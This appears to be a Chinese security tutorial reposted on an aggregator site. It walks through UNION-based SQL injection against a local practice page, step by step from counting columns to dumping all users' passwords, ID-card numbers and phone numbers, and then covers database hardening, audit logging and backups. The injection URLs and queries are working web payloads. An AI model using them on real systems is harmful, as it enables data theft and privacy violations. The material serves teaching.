当前位置: 首页 > news >正文

从零学网络安全 - 数据库安全与 SQL 注入(二)SQL 注入实战:联合查询

前情回顾

Union 查询(SQL 注⼊核心)

用于合并两个或多个 SELECT 语句的结果集,同时去除重复的记录。每个 SELECT 语句必须拥有相同数量的列,列的数据类型也必须兼容。

一、联合查询(UNION SELECT)实战

目标:获取全部用户的信息和密码

靶场原始页面显示信息

http://127.0.0.1/mysqltest/unionselect.php

image

1. 用 order by 判断字段数

  • 利用 SQL 的 ORDER BY N 语法。若N是有效列号,页面正常显示;若N无效,则数据库会返回报错信息。
  • 从1开始递增尝试(1,2,3...),直到页面出现报错,此时的数字即为字段数的临界点。

尝试到 order by 7 时报错,则说明该数据表共有6个字段。

SELECT * from users order by 7;

image

2. 用 union select 寻找回显位

  • 构造查询条件(如id=-1)让原SQL语句返回空结果,为拼接数据做准备。
  • 使用 UNION SELECT 拼接一串连续数字(如1,2,3...),数量需与字段数一致。
  • 页面上显示出的数字即为“回显位”,也就是前端页面展示数据的窗口位置。

例如这里页面上返回的是 name 字段,而 name 是第二列,所以回显位是2。

http://127.0.0.1/mysqltest/unionselect.php?id=-1 union select 1,2,3,4,5,6

image

3. 信息收集-库、表、字段

查库名(Database)

SELECT * from users where id=-1 -- 找数据库名
UNION
select 1,(select DATABASE()),3,4,5,6

得到数据库名为 school

image

查表名(Table_Name)

select * from users where id=-1 -- 找表名,用GROUP_CONCAT(expr)来拼接字段
UNION
select 1,(select group_concat(table_name) from information_schema.`TABLES` where table_schema='school'),3,4,5,6

得到有两个表,users 和 classes,我们选择 users 进行注入

image

查字段名(Column_Name)

select * from users where id=-1 -- 找列名,依然用GROUP_CONCAT(expr)
UNION
select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='school' and table_name='users'

得到所有字段名

image

4. 获取隐藏的敏感数据

利用 CONCAT_WS 函数将ID、姓名、密码等多个字段合并为一个字符串,解决单回显位限制。

select * from users where id=-1
UNION
select 1,CONCAT_WS('·',id,name,password,id_card,phone),3,4,5,6 from users

得到所有信息

image

在 url 中注入

http://127.0.0.1/mysqltest/unionselect.php?id=-1 UNION select 1,CONCAT_WS('·',id,name,password,id_card,phone),3,4,5,6 from users

得到:

image

二、数据库安全加固策略

1. 最小权限原则

核心思想:权限“刚好够用”。

  • 为应用程序分配仅能完成其工作所需的最小权限集,避免过度授权。
  • 绝对禁止使用 root 等超级管理员权限账号运行应用程序,防止权限滥用与提权攻击。

创建独立用户:

CREATE USER 'appuser'@'localhost' IDENTIFIED BY '密码';

仅赋必要权限:

GRANT SELECT,INSERT,UPDATE ON school.* TO 'appuser';

2. 开启审计日志

开启通用日志

set global general_log=on;

查看日志位置

show variables like 'general_log_file';

安全审计与取证

记录所有 SQL 操作,用于行为追踪。即使遭遇攻击,也能通过日志分析黑客操作路径,是事后溯源的关键证据。

3. 数据备份

核心原则:3-2-1原则

  • 3份备份:原始数据 + 本地备份 + 异地备份。
  • 2种介质:硬盘 + 云盘(如本地硬盘+阿⾥云)。
  • 1份离线:⾄少1份备份不联网(如移动硬盘离线存放)。

4. 如何进行备份和恢复?

数据备份(Backup)

可视化工具(Navicat):右键数据库->转储SQL文件->结构和数据

命令行:

mysqldump-uroot-pschool>backup.sql

数据恢复(Restore)

可视化工具(Navicat):运行SQL文件->选择备份文件

命令行:

mysql-uroot-pschool<backup.sql
http://www.jsqmd.com/news/367722/

相关文章:

  • Z世代语境下的春节营销:海外红人如何为出海品牌“重新定价”
  • 考试满分,实战却“翻车”!《自然·医学》刊文:AI医疗助手为何难以应用?
  • 国际行情波动期的跨境运营:把“团队执行力”做成护城河
  • java+vue+SpringBoot高校专业实习管理系统(程序+数据库+报告+部署教程+答辩指导)
  • 【免费新增】MonkeyCode 支持 Minimax M2.1 模型!零成本解锁复杂场景AI研发,5分钟搞定小游戏/后端接口
  • java+vue+SpringBoot火锅店管理系统(程序+数据库+报告+部署教程+答辩指导)
  • ADC 中的抗体:核心性能要求、功能机制与片段优化方向
  • java+vue+SpringBoot小区团购管理系统(程序+数据库+报告+部署教程+答辩指导)
  • 焊装工艺管理:从经验驱动到数据智能的转型之路
  • 【预测模型】灰狼算法+粒子群+鲸鱼+蝴蝶算法改进LSSVM模型的锂电池SOH预测附Matlab代码
  • java+vue+SpringBoot交通管理在线服务系统(程序+数据库+报告+部署教程+答辩指导)
  • linux开机流程
  • java+vue+SpringBoot社区养老服务系统(程序+数据库+报告+部署教程+答辩指导)
  • 电脑“清灰”劝退指南:你以为的保养,可能是对主板的“酷刑”
  • 新零售商城系统-PHP商城源码-免费开源-亿坊商城系统!
  • 【通信】基于遗传算法多用户MISO系统速率分拆附Matlab代码
  • Java毕设选题推荐:基于springboot的工厂精密设备销售管理系统的设计与实现【附源码、mysql、文档、调试+代码讲解+全bao等】
  • Java毕设选题推荐:基于springboot的助农农产品销售平台小程序基于springboot的小程序助农农产品销售平台【附源码、mysql、文档、调试+代码讲解+全bao等】
  • makefile中的shell变量语法总结
  • BISHI35 【模板】巴什博弈
  • 计算机Java毕设实战-基于springboot的工厂精密设备销售管理系统的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 带电池产品卖到欧盟:电池法规 (EU) 2023/1542 到底管你什么?先抓住这 4 件事
  • 2025 CRM 系统选型手册:六大主流CRM采购 - 供应链 - 对账全链路能力对比与深度解析
  • android compose webView js交互
  • 为什么中小厂提示工程架构师也要关注Agentic AI?这4大竞争优势太实用
  • 顶尖游资的告白:300万变4000万,靠的是这三步选股法
  • 《GraphQL 强类型架构下的错误处理体系设计指南》
  • 怎么掌握 SEO 的全部基础?
  • 【优化部署】基于粒子群算法PSO异构节点智能部署策略(延长无线传感器网络寿命)附Matlab代码
  • 《面向第三方的GraphQL开放平台设计指南》